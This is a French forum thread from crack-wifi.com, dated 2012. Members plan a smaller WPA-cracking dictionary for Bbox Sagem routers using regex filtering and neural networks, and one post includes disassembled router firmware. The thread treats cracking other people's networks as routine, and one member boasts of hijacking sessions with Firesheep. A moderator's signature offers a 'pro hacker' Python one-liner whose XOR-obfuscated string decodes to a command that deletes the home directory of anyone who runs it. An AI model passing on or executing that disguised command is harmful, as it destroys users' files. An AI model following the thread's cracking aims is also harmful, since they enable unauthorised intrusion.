Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 21-01-2012 14:53:05

manonyme
Membre
Inscription : 16-01-2012
Messages : 21

Optimisation de dico pour BBox Sagem et Réseaux neuronaux

Bonjour!

Suite à des idées jetées comme ça dans ce topic: topic , et suite à la proposition de kcdtv, j'ouvre un topic sur le sujet suivant: chercher à optimiser au maximum le dico pour crack en WPA des Bbox sagem (pas les thomson). Tout est expérimental, de l'odre de l'idée, du "et si on faisait comme ça....". Bref, aucune certitude.

Le Problème

Les mdp WPA des Bbox Sagem sont à 10 caractères... c'est relativement petit en comparaison aux mastodontes des livebox, et je crois que les Dartybox sont dans le même ordre de grandeur. De plus, les clés ne sont qu'en Hexa! On serait alors tenté de balancer un bruteforce bien violent, mais 16 ^10 c'est quand même 1 000 milliards de clés, et des poussières... un bruteforce devient casi-impossible de cette façon. On cherche donc à réduire le plus possible ce nombre de clées valables contenues dans le dico.

La proposition n°1

On va alors, et c'est pas une révolution, éliminer toutes les occurences les moins improbables dans un MdP BBox, en particulier les répétitions (AAAAAAAAAA, 0000003333, ...). C'est malheureusement trop peu, on arrivera pas à casser la barre des 1000 milliard avec seulement ces occurrences.
On va alors tenter de virer toutes les séquences improbables, mais plus difficiles à définir formellement
- les suites répétitives: 3300033000, 1212121212,...
- les suites de nombre improbables: 1234567890, Pi, e, 2233445566,...
Bref, dans la construction du script qui va faire la sélection éliminatoire des clés, il faudra prévoir un aspect très modulaire pour le filtre à clés, histoire de pouvoir facilement ajouter des nouveaux algos de filtrations.
Dans tout les cas, cette méthode d'élimination demande une solide maîtrise des expressions régulières, et kcdtv m'a indiqué qu'on aura probablement qu'un gain de 20% max.

Proposition n°2 - expérimentale

J'ai eu alors l'idée d'utiliser pour cette filtration un réseau de neurones, ou réseau neuronal.
Pourquoi? Parce que ces imitations du vivant sont très fortes en ce qui concerne la déductions de règles empiriques et optimales sur des ensembles de données (par exemple, évaluer les chances pour un candidat de passer un examen en fonction de ses notes passées). Ici, le rôle du réseau serait d'établir (seul) des critères communs à toutes les clés WPA Bbox existantes et réelles, afin d'avoir un tri le plus fin possible, pour avoir le dictionnaire le plus précis et concis possible.
Comment? Le mode de fonctionnement d'un réseau neuronal (RN)? Je vous conjure d'aller sur wiki, l'article est solide, mais je vais quand même réexpliquer ici. Un réseau neuronal est une simulation par informatique des réseaux de neurones biologique, une modélisation. La force principale de ces réseaux est qu'ils sont faciles à construire, facile à maîtriser des fois, et qu'ils déduisent *tout seul* les règles empiriques, via l'apprentissage.
Comment fonctionne l'apprentissage? Comme avec un rat de laboratoire. On lui soumet une entrée (ici une clé WPA valide par exemple). Le réseau l'analyse, et après quelques calculs, donne une réponse (par exemple, qu'il considère que la clé n'est pas valide). Le correcteur (aussi appelé professeur), lui donne alors la *vraie* réponse ("Mais non idiot, cette clé *EST* valide!"), et le réseau va corriger lui-même ses valeurs internes pour prendre en compte la correction. C'est un circuit stimulus-récompense/punition.
Pour ceux qui n'ont pas compris, on pourrait aussi faire l'analogie avec un enfant apprenant à reconnaître les lettres: on va montrer à ce gosse pleins de "A" (cursifs, majuscules...etc), en lui demandant à chaque fois "et là, c'est un A?". L'enfant réponds, et on va alors lui dire "bien!" ou "Faux! *sbaff*" (sale gosse!), et l'enfant va lui-même déduire des règles empiriques sur la forme d'un "A".
Ici, on soumettrai au réseau un paquet de clés valides et d'autres invalides, en lui indiquant chaque fois s'il a vrai ou faux, et peut-être finira-t-il par déduire des règles valides.

En combinant les deux procédés (regexp classiques et réseau), on peut peut-être obtenir un filtre assez performant pour restreindre considérablement la taille du dico.

Je cherche donc des clés WPA valides de BBox, des gens qui s'y connaissent en génération de clés pour les box (je me demande si on peut pas juste faire tourner BBkeys pour nous fournir une floppée de clés valides).
Ca peut-être aussi l'occasion de reverse-engineer la sagem.
Il faut aussi se rendre compte que les Bbox sont vulnérables à l'attaque de Reaver, donc bon, on enfonce un peu une porte ouverte d'un battant... mais si une MaJ du firmware venait à bloquer cette porte, mieux faut avoir une ressource supplémentaire.

à vos suggestions, questions,etc... Je déclare la séance de remue-méninge ouverte! big_smile

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 23-01-2012 01:46:51

Fuji
Membre Irremplaçable
Lieu : Saint Script-sur-Shell
Inscription : 13-12-2010
Messages : 783

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

Ca a l'air intéressant tout ça même si j'avais une idée du fonctionnement d'un réseau de neurone artificiel, je n'ai jamais pensé à appliquer ça pour générer un dico. En gros, il suffit de lui appliquer un algorithme d'apprentissage afin de produire un dico performant et adapté pour les clés BBox, mais seulement pour cette catégorie de clés ? ou parce que ça se complique pour les autres ? et puis tu programmes tout ça avec du C, C++, etc ou on a déjà développer un langage et des logiciels plus appropriés. En tout cas, je pense que c'est très certainement une voie qui mérite d'être explorer wink

Hors Ligne

#3 23-01-2012 01:49:52

superbobo
Membre Indéboulonnable
Inscription : 15-11-2011
Messages : 139

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

Salut manonyme,

Tu pars du principe que la clé est générée selon des règles qu'on peut retrouver empiriquement. Or il se peut aussi qu'elle soit générée de façon complétement aléatoire. Impossible de définir un quelconque degré de probabilité si on est dans l'aléatoire complet.
Qu'est ce que t'en penses?

Dernière modification par superbobo (23-01-2012 01:55:37)

Hors Ligne

#4 23-01-2012 02:00:41

superbobo
Membre Indéboulonnable
Inscription : 15-11-2011
Messages : 139

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

J'oubliais: "Ici, on soumettrai au réseau un paquet de clés valides et d'autres invalides"
C'est le plus gros souci. On n'a pas de clé non valide. Comment savoir si une clé modelée sur la structure des clés valides Bbox est non valide? Impossible à dire...
A partir de là, je vois pas comment établir des discriminations pertinentes

Dernière modification par superbobo (23-01-2012 02:01:06)

Hors Ligne

#5 23-01-2012 13:56:02

koala
Membre d'honneur
Lieu : In the sky
Inscription : 03-09-2010
Messages : 2 314

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

@superbobo


Je ne suis pas tout a fait d'accord, ces clés ne sont pas tirés au hasard, notre bon vieux Antares avait suggérer une idée (voir ici), je lui avais filé des clé Livebox (donc c'est sagem aussi) et avec les quelque test qu'il a pu faire il a pu constaté une certaine constante, les clès que l'on a ne dépassent pas une certaine tranche.C'est donc pour ça qu'il a ouvert l'autre sujet, pour améliorer la rapidité du code et créer un dico précis.

Un algo se cache la dessous et il en est de meme pour les bbox ! smile

Hors Ligne

#6 23-01-2012 14:56:18

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

plus_un
@ manonyme
Je ne sais pas si nous pouvons obtenir ainsi une purge suffisante pour faire un dictionnaire viable; mais je trouve ceci tellement intéressant en soi que je ne peux que t'encourager à continuer...
Par rapport à ce que demande superbobo: Comment ça marche au niveau de "l'apprentiisage"?
Nous allons partir de l'idée qu'il y a un patron et que donc il y a une clef unique par routeur.
J'imagine que l'on peut paramétrer l'apprentissage pour qu'il fonctionne avec cette constante, donc ça nous éviterait de devoir entrer de fausses clefs (Touts les autres possibilités étant fausses)
Je me trompes?

Hors Ligne

#7 23-01-2012 16:40:47

superbobo
Membre Indéboulonnable
Inscription : 15-11-2011
Messages : 139

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

"il y a une clef unique par routeur"; donc pour relier la clé au routeur, il faudra donner au programme une autre info, comme l'essid, le numéro de série... Sauf que si algo il y a, peut être qu'il est basé sur un paramètre auquel on n'a pas accès, comme un numéro d'usine (date de fabrication, code d'identification propre lieu de fabrication etc.). Enfin, comme le souligne kcdtv, même si ça marche, rien ne dit qu'on obtiendra un dico suffisament petit pour être exploitable.

Cela dit, je veux pas jouer les rabat-joie. Je m'engage à présenter des excuses publiques si ça fonctionne. big_smile

Hors Ligne

#8 23-01-2012 20:11:33

manonyme
Membre
Inscription : 16-01-2012
Messages : 21

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

@Superbobo: nan t'inquiète pas, ta critique est constructive, et c'est pas une critique: tu apportes juste des infos en plus.
En ce qui concerne la validité des clés ou non : justement, c'est pour cela que je crée un poste sur le fofo et que je reste pas seul dans mon coin à coder mon morceau de programme; j'ai besoin de toute la connaissance de la communauté pour savoir si c'est faisable selon moi, et si c'est viable selon les autres.  J'ajouterai juste qu'il existe des règles empiriques que nous pouvons déduire nous-même: penses-tu qu'une clée "2424242424" existe?
Concernant la génération de clés aléatoirement: c'est une possibilité, mais je pense que de leur coté les constructeurs ont leurs propres algos qui filtrent les clés "faciles"... Il faudrait aussi qu'un expert nous dise s'il a trouvé des infos dans les secteurs de boots qui montrent l'écriture de la clé en "dur" dans la mémoire de la box (à la construction) ou si un algorithme génère la clé au premier démarrage du firmware. Dans tout les cas si un pro pouvait nous éclairer ça serait pas mal. Mais selon les dires de Koala, c'est probablement un algo qui chie la clé...

@ Kcdtv: merci pour ton soutient big_smile
J'espère ne pas briser des attentes wink

Nous allons partir de l'idée qu'il y a un patron et que donc il y a une clef unique par routeur.
J'imagine que l'on peut paramétrer l'apprentissage pour qu'il fonctionne avec cette constante

Dévellope ça par contre, j'ai pas trop saisit ton histoire de patron... mais ça m'intéresse: Le plus d'info j'ai sur la génération des clés, le mieux c'est.
Dans tout le cas, l'apprentissage se paramètre tout seul, on ne fait que donner un algorithme d'apprentissage, et des entrées, avec les sorties attendues lors de la phase d'apprentissage.

@Fuji: Je me tate encore pour le language. J'avoue n'avoir jamais fait de projet sérieux en C/C++, et j'envisageait le Python pour sa facilité de développement (au final notre programme ne sera qu'un script générateur, faut s'en souvenir). Je pensais aussi au gambas, parce que la V3 est sortie, que c'est un excellent langage, et que je connais le dév ^^

@superbobo (encore): je n'avoue n'avoir pas pensé á mettre l'ESSID, le numéro de série en Entrée au réseau... ca me semble logique de les mettres maintenant que j'y pense, mais faut que je tape un peu plus dans la structure des RNs pour voir si ça va pas juste mettre le bazar dans les poids

Dans tout les cas:
# Voici une excellente introduction aux RN : http://wwwobs.univ-bpclermont.fr/atmos/ … N_2006.pdf C'est relativement facile à lire, je ne pense même pas qu'il faille être bachelier pour tout comprendre (bon c'est pas titeuf non plus). Regardez bien tout jusqu'à la partie sur le Perceptron, c'est ça qui donne une compréhension suffisament complète du problème. Après c'est globalement des optimisations du principe.
# Il faudrait dégoter des clés, avec l'essid/num de série pour jeter un coup d'oeil aux clées. Je me demande si BBkeys peut servir dans ce cas.
# Vraiment, regardez au moins la page wiki sur les RNs, d'un point de vue culture geek/programmation c'est essentiel. Ces réseaux sont vraiment bluffant (en 1ère, j'ai codé un petit programme capable de reconnaître des caractères... preuve que y'a pas besoin de faire polytechnique).

Hors Ligne

#9 23-01-2012 20:55:16

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

Sur les fichiers de routeurs flashés que j'ai pu observer, les clefs WPA se génèrent en appelant diverses fonctions au moment du reset.
Je peux t'en passer si tu veux, c'est pas évident à traiter, pour moi c'est du chinois, certaines commandes sont souvent proche du C.

Hors Ligne

#10 23-01-2012 21:03:07

koala
Membre d'honneur
Lieu : In the sky
Inscription : 03-09-2010
Messages : 2 314

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

Sur les fichiers de routeurs flashés que j'ai pu observer, les clefs WPA se génèrent en appelant diverses fonctions au moment du reset.

Comme le numéro d'ID du boot loader unique a chaque box par exemple, si il existe un lien entre ça et le numéro de série des box ça m'étonnerai pas.

Ps: Ya moyen d'avoir accès au telnet des bbox?

Hors Ligne

#11 23-01-2012 21:23:24

manonyme
Membre
Inscription : 16-01-2012
Messages : 21

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

Je ne sais pas, j'ai une BBox Thomson chez mes parents, mais je suis sur le réseau de mon foyer d'étudiant en ce moment (réseau ouvert sans clé d'ailleurs... je vous raconte pas le massacre qu'on fait avec firesheep le soir).

EDIT: kcdtv : poste, je comprends le C, et au pire j'ai des potes assez costauds en ce qui concerne le C.

Dernière modification par manonyme (23-01-2012 21:25:57)

Hors Ligne

#12 23-01-2012 21:53:10

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

Je mettrai un lien parce que ça fait dans les 10 mégas de code la petite histoire tongue... J'espère juste que j'ai pas ça seulement sur mon compte megaupload... mais au pire des cas je peux en obtenir assez vite.
Il faur un éditeur de texte spécifique pour pouvoir le visualiser correctement, je te mettrai un lien aussi.
Par contre ce sera des fichier de routeur HG556a ou HG533, bssid vodafonexxxx, il n'y a pas Bouygues Telecom en Espagne.
@ Koala
Dans le cas des HG de vodafone, on trouve pleins de morceaux de code qui indiquent que bssid - mas - essid - serial sont liés, plusieurs fonctions de ashages sont utilisées, tout ceci est intimement liés et il ya tout un procédé qui amène à la génération de la clef WPA.

raaaaaaa, je veux mes archives perso megaupload mad
Bon, premièrement il faut cette utilité, il y a deux version, la pro, payante; et la gratuite qui suffit pour afficher correctement les fichiers IDA Pro
Et il me reste ce fichier dump d'un HG556a (je crois, un HG pour sûr)
- désolé, le lien est mort... - les recherches continuent.
Je vous mets quelques extarits que j'avais gardé en example

text:0006D1F0                 .globl prepare_key
.text:0006D1F0 prepare_key:                             # CODE XREF: wlc_wsec_recvdata+5B8p
.text:0006D1F0                                          # wlc_wsec_recvdata+628p ...
.text:0006D1F0                 move    $t3, $a1
.text:0006D1F4                 move    $t4, $a0
.text:0006D1F8                 move    $t1, $a2
.text:0006D1FC                 move    $a1, $0
.text:0006D200                 move    $t2, $0
.text:0006D204                 move    $t0, $0
.text:0006D208                 addu    $v0, $t1, $t0
.text:0006D20C
.text:0006D20C loc_6D20C:                               # CODE XREF: prepare_key+28j
.text:0006D20C                 sb      $t0, 0($v0)
.text:0006D210                 addiu   $t0, 1
.text:0006D214                 sltiu   $v0, $t0, 0x100
.text:0006D218                 bnez    $v0, loc_6D20C
.text:0006D21C                 addu    $v0, $t1, $t0
.text:0006D220                 move    $t0, $0
.text:0006D224
.text:0006D224 loc_6D224:                               # CODE XREF: prepare_key+7Cj
.text:0006D224                 addu    $v0, $t4, $a1
.text:0006D228                 addiu   $a1, 1
.text:0006D22C                 divu    $a1, $t3
.text:0006D230                 bnez    $t3, loc_6D23C
.text:0006D234                 nop
.text:0006D238                 break   0x1C00
.text:0006D23C
.text:0006D23C loc_6D23C:                               # CODE XREF: prepare_key+40j
.text:0006D23C                 addu    $a3, $t1, $t0
.text:0006D240                 lbu     $v0, 0($v0)
.text:0006D244                 lbu     $a2, 0($a3)
.text:0006D248                 addiu   $t0, 1
.text:0006D24C                 sltiu   $a0, $t0, 0x100
.text:0006D250                 addu    $v0, $a2
.text:0006D254                 addu    $v0, $t2
.text:0006D258                 andi    $t2, $v0, 0xFF
.text:0006D25C                 addu    $v1, $t1, $t2
.text:0006D260                 lbu     $v0, 0($v1)
.text:0006D264                 sb      $v0, 0($a3)
.text:0006D268                 mfhi    $a1
.text:0006D26C                 bnez    $a0, loc_6D224
.text:0006D270                 sb      $a2, 0($v1)
.text:0006D274                 sb      $0, 0x101($t1)
.text:0006D278                 jr      $ra
.text:0006D27C                 sb      $0, 0x100($t1)
.text:0006D27C  # End of function prepare_key

LOAD:0046AA78 loc_46AA78:                              # CODE XREF: CliShellCmd::processSetWpaKeyCmd(char *)+84j
LOAD:0046AA78                 la      $t9, strcpy
LOAD:0046AA7C                 move    $a1, $s0
LOAD:0046AA80                 jalr    $t9 ; strcpy
LOAD:0046AA84                 addiu   $a0, $sp, 0x220+var_208
LOAD:0046AA88                 lw      $gp, 0x220+var_210($sp)
LOAD:0046AA8C                 addiu   $a0, $sp, 0x220+var_208
LOAD:0046AA90                 li      $a1, 0x40
LOAD:0046AA94                 la      $t9, sysFixSet
LOAD:0046AA98                 jalr    $t9 ; sysFixSet
LOAD:0046AA9C                 li      $a2, 0x920
LOAD:0046AAA0                 lw      $gp, 0x220+var_210($sp)
LOAD:0046AAA4                 la      $v0, stderr
LOAD:0046AAA8                 la      $a1, 0x650000
LOAD:0046AAAC                 la      $t9, fprintf
LOAD:0046AAB0                 lw      $a0, (stderr - 0x1002BD00)($v0)
LOAD:0046AAB4                 addiu   $a1, (aSetWpaKeyTestS - 0x650000)  # "set wpa key test success\n"
LOAD:0046AAB8
LOAD:0046AAB8 loc_46AAB8:                              # CODE XREF: CliShellCmd::processSetWpaKeyCmd(char *)+9Cj
LOAD:0046AAB8                 jalr    $t9 ; fprintf
LOAD:0046AABC                 nop
LOAD:0046AAC0                 lw      $gp, 0x220+var_210($sp)
LOAD:0046AAC4                 lw      $ra, 0x220+var_4($sp)
LOAD:0046AAC8                 lw      $s0, 0x220+var_8($sp)
LOAD:0046AACC                 jr      $ra
LOAD:0046AAD0                 addiu   $sp, 0x220
LOAD:0046AAD0  # End of function CliShellCmd::processSetWpaKeyCmd(char *)
LOAD:0046AAD0
LOAD:0046AAD4
LOAD:0046AAD4  # =============== S U B R O U T I N E =======================================
LOAD:0046AAD4
LOAD:0046AAD4
LOAD:0046AAD4  # CliShellCmd::processSetWepKeyCmd(char *)
LOAD:0046AAD4                 .globl _ZN11CliShellCmd19processSetWepKeyCmdEPc
LOAD:0046AAD4 _ZN11CliShellCmd19processSetWepKeyCmdEPc:
LOAD:0046AAD4                                          # DATA XREF: CliShellCmd::processEquipTestCmd(char *)+B34o
LOAD:0046AAD4                                          # LOAD:1001AE30o
LOAD:0046AAD4
LOAD:0046AAD4 var_210         = -0x210
LOAD:0046AAD4 var_208         = -0x208
LOAD:0046AAD4 var_8           = -8
LOAD:0046AAD4 var_4           = -4
LOAD:0046AAD4
LOAD:0046AAD4                 li      $gp, 0xFBB378C
LOAD:0046AADC                 addu    $gp, $t9
LOAD:0046AAE0                 addiu   $sp, -0x220
LOAD:0046AAE4                 sw      $ra, 0x220+var_4($sp)
LOAD:0046AAE8                 sw      $s0, 0x220+var_8($sp)
LOAD:0046AAEC                 sw      $gp, 0x220+var_210($sp)
LOAD:0046AAF0                 la      $t9, memset
LOAD:0046AAF4                 move    $s0, $a0
LOAD:0046AAF8                 move    $a1, $zero
LOAD:0046AAFC                 addiu   $a0, $sp, 0x220+var_208
LOAD:0046AB00                 jalr    $t9 ; memset
LOAD:0046AB04                 li      $a2, 0x200
LOAD:0046AB08                 lw      $gp, 0x220+var_210($sp)
LOAD:0046AB0C                 move    $a0, $s0
LOAD:0046AB10                 la      $a1, 0x640000
LOAD:0046AB14                 la      $t9, strstr
LOAD:0046AB18                 jalr    $t9 ; strstr
LOAD:0046AB1C                 addiu   $a1, (aSiproxdHelp+8 - 0x640000)
LOAD:0046AB20                 beqz    $v0, loc_46AB58
LOAD:0046AB24                 lw      $gp, 0x220+var_210($sp)
LOAD:0046AB28                 la      $s0, stderr
LOAD:0046AB2C                 la      $a1, 0x650000
LOAD:0046AB30                 la      $t9, fprintf
LOAD:0046AB34                 lw      $a0, (stderr - 0x1002BD00)($s0)
LOAD:0046AB38                 jalr    $t9 ; fprintf
LOAD:0046AB3C                 addiu   $a1, (aUsageDiagSetwe - 0x650000)  # "Usage:  diag SetWepKey xxxxxxxxxx \n    "...
LOAD:0046AB40                 lw      $gp, 0x220+var_210($sp)
LOAD:0046AB44                 lw      $a0, (stderr - 0x1002BD00)($s0)
LOAD:0046AB48                 la      $a1, 0x650000
LOAD:0046AB4C                 la      $t9, fprintf
LOAD:0046AB50                 b       loc_46ABF4
LOAD:0046AB54                 addiu   $a1, (aSetwepkeyHelp - 0x650000)  # "        SetWepKey --help\n"
LOAD:0046AB58  # ---------------------------------------------------------------------------
LOAD:0046AB58
LOAD:0046AB58 loc_46AB58:                              # CODE XREF: CliShellCmd::processSetWepKeyCmd(char *)+4Cj
LOAD:0046AB58                 addiu   $s0, 0xA
LOAD:0046AB5C                 lbu     $v0, 0($s0)
LOAD:0046AB60                 beqz    $v0, loc_46AB88
LOAD:0046AB64                 li      $v1, 0x20
LOAD:0046AB68                 sll     $v0, 24
LOAD:0046AB6C
LOAD:0046AB6C loc_46AB6C:                              # CODE XREF: CliShellCmd::processSetWepKeyCmd(char *)+ACj
LOAD:0046AB6C                 sra     $v0, 24
LOAD:0046AB70                 bne     $v0, $v1, loc_46AB8C
LOAD:0046AB74                 la      $t9, strcpy
LOAD:0046AB78                 addiu   $s0, 1
LOAD:0046AB7C                 lbu     $v0, 0($s0)
LOAD:0046AB80                 bnez    $v0, loc_46AB6C
LOAD:0046AB84                 sll     $v0, 24
LOAD:0046AB88
LOAD:0046AB88 loc_46AB88:                              # CODE XREF: CliShellCmd::processSetWepKeyCmd(char *)+8Cj
LOAD:0046AB88                 la      $t9, strcpy
LOAD:0046AB8C
LOAD:0046AB8C loc_46AB8C:                              # CODE XREF: CliShellCmd::processSetWepKeyCmd(char *)+9Cj
LOAD:0046AB8C                 move    $a1, $s0
LOAD:0046AB90                 jalr    $t9 ; strcpy
LOAD:0046AB94                 addiu   $a0, $sp, 0x220+var_208
LOAD:0046AB98                 lw      $gp, 0x220+var_210($sp)
LOAD:0046AB9C                 addiu   $a0, $sp, 0x220+var_208
LOAD:0046ABA0                 la      $t9, _ZN11CliShellCmd14isWlanValidKeyEPci  # CliShellCmd::isWlanValidKey(char *,int)
LOAD:0046ABA4                 jalr    $t9 ; CliShellCmd::isWlanValidKey(char *,int)  # CliShellCmd::isWlanValidKey(char *,int)
LOAD:0046ABA8                 li      $a1, 0xD
LOAD:0046ABAC                 lw      $gp, 0x220+var_210($sp)
LOAD:0046ABB0                 bnez    $v0, loc_46ABCC
LOAD:0046ABB4                 la      $s0, stderr
LOAD:0046ABB8                 la      $a1, 0x650000
LOAD:0046ABBC                 lw      $a0, (stderr - 0x1002BD00)($s0)
LOAD:0046ABC0                 la      $t9, fprintf
LOAD:0046ABC4                 b       loc_46ABF4
LOAD:0046ABC8                 addiu   $a1, (aSetWepKeyTestF - 0x650000)  # "set wep key test fail\n"
LOAD:0046ABCC  # ---------------------------------------------------------------------------
LOAD:0046ABCC
LOAD:0046ABCC loc_46ABCC:                              # CODE XREF: CliShellCmd::processSetWepKeyCmd(char *)+DCj
LOAD:0046ABCC                 la      $t9, sysFixSet
LOAD:0046ABD0                 addiu   $a0, $sp, 0x220+var_208
LOAD:0046ABD4                 li      $a1, 0x20
LOAD:0046ABD8                 jalr    $t9 ; sysFixSet
LOAD:0046ABDC                 li      $a2, 0x900
LOAD:0046ABE0                 lw      $gp, 0x220+var_210($sp)
LOAD:0046ABE4                 lw      $a0, (stderr - 0x1002BD00)($s0)
LOAD:0046ABE8                 la      $a1, 0x650000
LOAD:0046ABEC                 la      $t9, fprintf
LOAD:0046ABF0                 addiu   $a1, (aSetWepKeyTestS - 0x650000)  # "set wep key test success\n"
LOAD:0046ABF4
LOAD:0046ABF4 loc_46ABF4:                              # CODE XREF: CliShellCmd::processSetWepKeyCmd(char *)+7Cj
LOAD:0046ABF4                                          # CliShellCmd::processSetWepKeyCmd(char *)+F0j
LOAD:0046ABF4                 jalr    $t9 ; fprintf
LOAD:0046ABF8                 nop
LOAD:0046ABFC                 lw      $gp, 0x220+var_210($sp)
LOAD:0046AC00                 lw      $ra, 0x220+var_4($sp)
LOAD:0046AC04                 lw      $s0, 0x220+var_8($sp)
LOAD:0046AC08                 jr      $ra
LOAD:0046AC0C                 addiu   $sp, 0x220
LOAD:0046AC0C  # End of function CliShellCmd::processSetWepKeyCmd(char *)
LOAD:0046AC0C
LOAD:0046AC10

Dernière modification par kcdtv (24-01-2012 19:01:00)

Hors Ligne

#13 24-01-2012 18:17:06

RipX
Membre
Inscription : 22-01-2012
Messages : 11

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

J'ai une BBox de l'année dernière et je passe chez free dans pas longtemps, alors si vous avez des expériences a faire j'ai un cobaye!


Outils carcking :
Acer Aspire One D150, Antenne externe avec chipset Realtek 8187L
Dual boot Seven + Backtrack 5 R1 et Wifite

Hors Ligne

#14 24-01-2012 18:43:15

koala
Membre d'honneur
Lieu : In the sky
Inscription : 03-09-2010
Messages : 2 314

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

Merci de l'info RipX wink


Pour ma part j'ai pu noté le numéro de série de la bbox sagem d'un pote dont les premiers chiffres commencent par LK11264DP****** et pour ceux qui ont suivi la recherche livebox, le 11 voudrai dire l'année et 264 le jour.Pour info il a reçu sa bbox la semaine dernière.J'en reviens a ce fameux numéro de série car je suis persuadé qu'il est lié a la génération des clés smile


Il faudrait voir coté telnet aussi.

Hors Ligne

#15 24-01-2012 21:55:48

manonyme
Membre
Inscription : 16-01-2012
Messages : 21

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

@ lcdtv: C'est du C ça?
On dirait de l'assembleur avec des bouts de syntaxe de Bash... wtf? O.ô

@RipX ouai c'est sympa ça ^^ Tu penses avoir le skills pour aller fouiller dans la mémoire du bazar? (moi pas perso ^^')

@Koala: On peut ouvrir un thread de rétro-ingénieurie de l'algo en parallèle, ou le faire ici... ça me gène pas. Dans tout les cas toutes les infos possible concernant les mots de passes de valent.

Pour tous: peut-on ouvrir quelque part une page wiki/un etherpad pour centraliser les trouvailles, les infos, pour mieux coordonner les recherches?

Hors Ligne

#16 25-01-2012 06:31:21

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

On ne sait pas vraiment ce que sait; c'est ça la magie du reverse tongue
Je n'y connais rien, pour moi il y a des ordres que je connaissais en C d'où mon "On dirait du C" n'y prêtes pas plus attention que ça... Pour moi c'est du chinois tongue
assemblé avec une machine MIPS de gemu pour linux.

Hors Ligne

#17 25-01-2012 11:57:04

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 006

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

Comme on part pour l'instant du principe que les clefs sont générées aléatoirement (l'incompétence a ses limites), on a autant de chances de tomber sur la clef "0000000000" que sur la clef "136A57F8C9E7".

Donc, on ne peut pas se permettre de retirer des clefs par estéthique.
Qu'en pensez vous ?


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#18 25-01-2012 18:37:17

manonyme
Membre
Inscription : 16-01-2012
Messages : 21

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

@kcdtv : Ahwai en effet, c'est une sorte de code machine désassemblé en fait?

@spawn: hum... je pense justement pas que les clés sont aléatoirement générées. Dans le cas du gros fail bbox-thomson, par exemple: je vais le faire tourner sur pleins d'ESSID (aléatoires ou glanées sur le net) pour tenter de voir ce que cela rend.
Dans tout les cas, je parts du postulat que les constructeurs ont choisit un algo qui, justement, ne tombera pas sur des trucs du type 22224444.
Je vais taffer le topic sur les clés Livebox-sagem pour voir ce que je peux en déduire.

Hors Ligne

#19 25-01-2012 20:08:45

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

Exact wink
Il y a un algo la dessous mes amis. Et je crois comme koala en l'importance du serial.

Hors Ligne

#20 26-01-2012 02:15:55

koala
Membre d'honneur
Lieu : In the sky
Inscription : 03-09-2010
Messages : 2 314

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

@RipX

Tu pourrais voir si il y a moyen de tirer quelque chose coté telnet? smile ou lors du boot de la box après un hard-reset?

@kcdtv

En effet ce numéro nous a toujours posé problème notament sur les chiffres après DP.Si on suit la logique des chiffre entre LK et DP on pourrai supposer qu'il s'agit d'une donnée dans le temps mais ça pourait etre un nombre de hash aussi, c'est très flou.Il y a le bootloader ID a ne pas oublier aussi, ça fait parti des choses invisible a l'oeil nu donc potentiellement intérèssant.

Hors Ligne

#21 26-01-2012 07:47:18

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 006

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

Eh, j'ai eu une idée en buvant mon tropicana édition limitée automne-hiver Orange sanguine - cassis :

L'algo, il doit bien être quelque part non ?
Internet est presque partout non ?
-> ..

(moralement et légalement, c'est plutôt moyen, je reconnais)


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#22 26-01-2012 10:56:25

manonyme
Membre
Inscription : 16-01-2012
Messages : 21

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

@Spawn: légalement par rapport à nous ou par rapport à eux?
Si l'algo est qqpart sur le net, c'est eux les gronazes, pas nous yikes

Je vais regarder dans mon coin pour voir ce que j'peux en tirer avec les RNs, mais let's reverse-engineer dat shit wink

Hors Ligne

#23 26-01-2012 15:23:19

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 006

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

Non, rien en fait.

Dernière modification par spawn (26-01-2012 16:29:52)


@9b0ae3c4 méric.fr
